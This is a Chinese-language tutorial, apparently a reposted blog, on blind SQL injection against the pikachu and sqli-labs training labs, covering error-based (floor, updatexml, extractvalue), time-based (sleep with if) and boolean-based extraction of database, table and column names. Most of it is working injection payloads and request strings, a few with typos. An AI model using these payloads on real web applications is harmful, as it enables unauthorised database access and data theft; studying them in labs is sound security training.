首页 > 技术文章 > SQL注入之Boolian-报错-时间的盲注

qianggediyi 2021-11-22 14:41 原文

一、前言

当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句

img

二、涉及知识点

1.SQL语句

select 查询数据
在网站应用中进行数据显示查询效果
例: select * from news wher id=$id

insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,'x','$t')

delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id

update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd='$p' where id=2 and username='admin'

order by 排列数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order

重点理解:
我们可以通过以上查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的SQL查询方式
例如:
注册对应插入语句

image.png

三、报错盲注的分类

1.概念

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行半段或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

基于布尔的SQL盲注-逻辑判断(优先级:2)
regexp,like,ascii,left,ord,mid

基于时间的SQL盲注-延时判断(优先级:3)
if,sleep

基于报错的SQL盲注-报错回显(优先级:1)

报错注入函数:floor,updatexml,extractvalue

https://www.jianshu.com/p/bc35f8dd4f7c

2.常用参数参考:

like 'ro%'					#判断ro或ro...是否成立
regexp '^xiaodi[a-z]'		#匹配xiaodi及xiaodi...等
if(条件,5,0)					#条件成立 返回5 反之返回0
sleep(5)					#SQL语句延时执行5秒
mid(a,b,c)					#从位置b开始,截取a字符串的C位
substr(a,b,c)				#从b位置开始,截取字符串a的c长度
left(database(),1)			#left(a,b)从左侧截取a的前b位
length(database())=8		#判断数据库database()名的长度
ord=ascii ascii(x)=97		#判断x的ascii码是否等于97

四、基于报错的SQL盲注——报错回显

1.floor

试验靶场:pikachu-SQL-Inject-insert/update注入

payload:

username=x' or(select 1 from(select count(*),concat((select(select (select  concat(0x7e,database(),0x7e))) from  information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '

把上面payload复制出来,放入下方post数据的注入点处,再发送数据,然后在右侧返回包数据框中把滚动条拖到最下面,找到报错反馈就能看到查询的内容。本条payload中使用的database()函数,所以返回的结果是数据库的名称。

image-20220102172040753

把database()换成version()就能查看数据库的版本信息

image.png

2.updatexml

username=x ' or updatexml(1,concat(0x7e,(version())),0) or ' & password=xiaodi &                 sex=%E7%94%B7 & honenum=13878787788 & email=wuhan & add=hubei & submit=submit

img

extractvalue

username=x ' or extractvalue(1,concat(0x7e,database())),0) or '     &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&
email=wuhan&add=hubei&submit=submit

pikachu updata

sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky' or (select 1 
from(select count(*),concat(floor(rand(0)*2),0x7e,   (database()),0x7e)x from
 information_schema.character_sets group by  x)a) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky
' or updataexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky
' or extractbalue(1,concat(0x7e,database())) or  '&email=wuhan&submit=submit

3.pikachu delete

/pikachu/vul/sqli/sqli_del.php?id=56
+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,                          (database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
/pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)
/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue+(1,concat(0x7e,database()))

image.png

五、基于时间的SQL盲注——延迟判断

1.mysql中if()函数使用:

在mysql中if()函数的用法类似于java中的三目表达式,其用处也比较多,具体语法如下:

IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。

实例如下:(进入数据库命令行模式,选择数据库为皮卡出,use pikachu;)

1.判断数据库名称是否正确,如果正确则返回123,如果不正确则返回456

select if(database()='a',123,456)

img

2.查询数据,结合sleep()函数使用if()函数判断数据库名称是否正确,如果正确延时5秒返回,如果不正确延时0秒返回。

select * from member where id-1;
select * from member where id=1 and sleep(if(database()='pikachu',5,0))

image.png

2.注入演示

思路:

  1. 确定注入点
  2. 使用3.2常用参数参考中的参数来判断数据库字符串的长度
  3. 确定字符串长度后一个字符一个字符的判断,最终确定数据库名称
  4. 使用以上方法逐个获取想要的数据

1.确定注入点

利用sleep()函数观察网页返回时间,如果网页返回时间与sleep()函数设置的时间相同则说明有注入点。

?id=1' and sleep(10) --+

image-20220102200146398

2.获取数据库名称

首先获取数据库名字符串的长度,然后逐个判断每个字符值。

使用database()函数获取当前数据库的名称,再用length()函数获取数据库名的字段长度,然后使用if()函数进行判断,返回一个数值,使用sleep()函数获取数据库名的字符串长度。数据库名的长度为下面获取数据库名称做准备。

sqli/Less-9/?id=1' and sleep(if(length(database())=8,5,0)) --+

image-20220103134307415

使用database()函数获取当前数据库的名称,再用mid()函数截取数据库名称中的第一个字符与字符's'作比较,由if()函数判断是否相同,如果相同则返回5,不相同则返回0,最后把返回结果带入到sleep()函数中,观察网页返回时间,根据网页返回的时间判断数据库名称的字符,按照这种方法依次判断字符,最终得到数据库的名称。

?id=1' and sleep(if(mid(database(),1,1)='s',5,0)) --+

image-20220102203041667

3.获取表名

先有mysql5.x版本内置的默认数据库查询表名,由于表名可能有多个,我们需要依次验证每个表的表名,所以使用到了LIMIT,使用substr()函数截取查询到的表名的每个字符,再使用if()函数进行判断,如果正确返回5,错误返回0,最后使用sleep()函数进行延时判断。由于使用脚本判断使用ascii码更方便一点,所以很多脚本会把字符转成ascii码再进行判断。

LIMIT友链

https://www.cnblogs.com/cai170221/p/7122289.html

payload 一:

?id=1' and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,5,0)) --+

payload 二:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),sleep(0)) --+

image-20220102210418396

MySQL数据库命令行执行图:

image-20220102220325196

4.获取字段名

后面的内容逻辑上与第三步一样,只是更改了使用information_schema数据库查找的内容,然后再更改if()函数中比较的数字即可,例如下面这个payload,使用information_schema数据库获取字段名,然后使用LIMIT截取第二行的字符串,然后使用substr()函数截取第二个字符串的第一个字符,然后转成ascii码,使用if()函数进行对比判断,按照这个方法依次确定所有的字段(column)的名称。

/sqli/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1),1,1))=117,sleep(5),sleep(0)) --+

image-20220102215737409

六、基于布尔的SQL盲注—逻辑判断

1.演示实例

靶场为sqlilabs-less8

1.判断注入点

输入正确数据时页面反馈效果如下:

http://192.168.2.254:90/sqli/Less-8/?id=1

image-20220103143622200

在id=1后面添加一个单引号,造成语法错误是页面反馈效果如下:

http://192.168.2.254:90/sqli/Less-8/?id=1'

image-20220103143711229

经过对比发现,输入单引号会导致语法错误,使得页面出现报错反馈,但是页面并没有语法报错提示,说明语法报错反馈内容被隐藏了,具体代码如下所示。当输入的内容正确或符合语法时页面返回“You are in .........”,当输入 的内容不正确或不符合语法时反馈的页面为空。所以此网站符合基于布尔的盲注。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}

2.获取数据库名

首先判断数据库名的字符串长度,然后逐个猜解所有字符。

使用length()函数判断字符串的长度

?id=1' and length(database())=8 --+

image-20220103145342583

使用left()函数逐个获取数据库名的每个字符

Less-8/?id=1' and left(database(),2)='se' --+

image-20220103145651145

3.获取表名

使用mysql5.x版本内置的函数获取表名,再判断字符串长度,然后逐个判断字符。

判断字符串长度:

?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+ 

image-20220103151343487

使用left()函数逐个获取字符串的值:

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1) = 'e' --+ 

image-20220103151602146

后面内容的获取与基于时间的盲注方式一样,在此就不赘叙了

2.脚本布尔盲注思路

页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据
当前数据库database()的长度大于10,返回true页面,否则FALSE页面:
http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+
count(*)计数 concat()连接字符 floor()重复数据,返回0,1两个值 group by 进行分组 rand(0)避免数据重复造成的错误
猜当前数据库第一个字符

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>114#

利用二分法,115为fal,114TRUE,数据库第一个字符ASCII为115,即s

img

同理修改substr(database(),2,1)可猜第二个字符,之后同理,当然在猜数据库字符前也可先猜数据库长度:

length(database())
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(database(),1,1))>114# 

这条语句在后台为:

SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))>114#'(后面单引号被#注释掉)

参考:

like 'ro%'                    			  #判断ro或ro...是否成立
regexp '^xiaodi[1-z]'     				 #匹配xiaodi及xiaodi...等
if(条件,5,0)                   			#条件成立,返回5,反之,返回0
sleep(5)               	    			  #SQL语句延时执行5秒
mid(a,b,c)                 				   #从位置b开始,截取a字符串的c位
substr(a,b,c)             				   #从B位置开始,截取字符串a的c长度
left(database(),1)      			  #left(a,b)从左侧截取a的前b位
length(database())=8  					 #判断数据库database()名的长度
ord=ascii ascii(x)=97  					 #判断x的ascii码是否等于97

七、涉及资源

https://www.jianshu.com/p/bc35f8dd4f7c

https://www.jianshu.com/p/fcae21926e5c

https://pan.baidu.com/s/1IX6emxDpvYrVZbQzJbHn3g 提取码:l9f6

推荐阅读